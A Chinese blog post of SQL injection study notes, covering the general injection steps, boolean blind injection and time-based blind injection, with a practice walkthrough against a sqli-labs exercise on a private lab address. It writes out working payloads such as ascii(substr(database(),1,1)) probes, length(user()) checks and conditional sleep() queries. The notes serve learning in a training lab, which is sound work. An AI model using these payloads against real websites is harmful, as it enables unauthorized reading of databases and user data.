SQL注入-2

SQL注入的一般步骤

1.报错:需要用单引号 双引号 或者左小括号判断字符串 被什么包裹

2.正常:闭合语句,让语句不出现语法错误

3.判断列数 : order by 关键字

4.查询想要的内容 联合查询 union

基于报错的注入方式

 

布尔型盲注

条件:页面存在异常情况 ,但没有回显且没有报错信息

ascii('test') 返回 ascii码

ascii码范围是 0~127

 返回指定字符串最左侧字符的ASCII值

 练习1.

 

目标:http://10.1.2.5:10631/sqli/Less-8/?id=1

方法:布尔型盲注

 

http://10.1.2.5:10631/sqli/Less-8/?id=1' 页面显示不正常

 

http://10.1.2.5:10631/sqli/Less-8/?id=1" 页面显示正常

 

http://10.1.2.5:10631/sqli/Less-8/?id=1) 页面显示正常  说明存在单引号注入

 

http://10.1.2.5:10631/sqli/Less-8/?id=1' and  ascii(substr(database(),1,1)) =0 %23 使用二分法进行实验 如果正确页面显示正常

http://10.1.2.5:10631/sqli/Less-8/?id=1' and  ascii(substr(database(),1,1)) =115 %23

查询当前数据库用户名的长度

user():
连接时指定的user name 和 连接时客户端的host(可以连接这个数据库的用户)
 
current_user():
认证时的用户名和host name,对应 mysq.user表中的记录(当前连接这个数据库的用户)

length() 返回内容的长度

char() 返回ascii码对应的字符 比如,char(114) => r

http://10.1.2.5:10631/sqli/Less-8/?id=1' and  length(user())=14 %23

 

时间型盲注

条件:不管输入什么页面都没有任何异常,且没有回显没有报错信息

select if(True,2,3) => 2

select if(False,2,3) =>3

select if( payload,sleep(3),1) 如果payload 是真 三秒后执行 如果是假 立即执行

select if(length(current_user())>10,sleep(2),1); 查询当前用户名的长度是多少

posted @ 2018-04-20 17:39  弟弟救我啊  阅读(132)  评论(0编辑  收藏  举报